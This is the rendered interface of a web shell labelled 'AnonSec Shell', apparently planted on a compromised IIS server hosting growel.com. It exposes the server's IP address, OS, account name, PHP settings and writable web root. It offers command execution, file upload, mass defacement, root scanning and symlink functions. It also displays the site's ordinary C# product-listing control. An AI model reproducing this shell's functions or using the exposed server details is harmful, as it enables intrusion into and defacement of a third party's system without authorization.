. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 87.98.249.37  /  Your IP : 216.73.216.208   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT NS3076740 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_292(growel19p) ( 0)
PHP Version : 8.3.12
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/growel.com/httpdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : C:/Inetpub/vhosts/growel.com/httpdocs//Products.ascx.cs
using GrowelBLL.Services;
using System;
using System.Collections.Generic;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace GrowelWeb
{
    public partial class Products : System.Web.UI.UserControl
    {
        
        public string ptype = "";
        DataSet ds;
        DataSet pds;

        public string pname
        {
            get;
            set;

        }

        protected void Page_Load(object sender, EventArgs e)
        {
            try
            {
                BindTypes();
            }
            catch (Exception ex)
            {
                // throw ex;
            }

        }

        public void BindTypes()
        {
            AdminService adminService = new AdminService();
            ptype = adminService.GetProductDetails(pname).Tables[0].Rows[0]["product_type"].ToString();
            ds = adminService.GetProductTypeDetails(ptype);
            DataSet bds = adminService.GetProductTypes(ds.Tables[0].Rows[0]["business_unit"].ToString());
            
            this.dtlstproducttypes.DataSource = bds.Tables[0].DefaultView;
            this.dtlstproducttypes.DataBind();
        }

        protected string GetClass(string s, string t)
        {
            string cls = "sublink";
            // Response.Write(s);
            if (ptype == t)
            {
                cls = "activelink";
                if (pname == s)
                {
                    cls = "activelinkselected";
                }
            }
            return cls;

        }

        protected string Show(string s)
        {
            string cls = "display:none;";
            AdminService adminService = new AdminService();
            try
            {
                string ptype = Request["product"].ToString();
                string ptype1 = adminService.GetProductDetails(ptype).Tables[0].Rows[0]["product_type"].ToString();
                if (ptype1 == s)
                {
                    cls = "display:block;";
                }
            }
            catch (Exception ex)
            {
                //throw ex;

            }
            return cls;

        }
        protected void dtlstproducttypes_ItemDataBound(object sender, RepeaterItemEventArgs e)
        {
            AdminService adminService = new AdminService();
            DataRowView row = (DataRowView)e.Item.DataItem;
            string ptype = row["product_type"].ToString();
            Repeater rpt = (Repeater)e.Item.FindControl("dtlstproducts");
            rpt.DataSource = adminService.GetProductsByType(ptype).Tables[0].DefaultView;
            rpt.DataBind();

        }
    }
}

Anon7 - 2022
AnonSec Team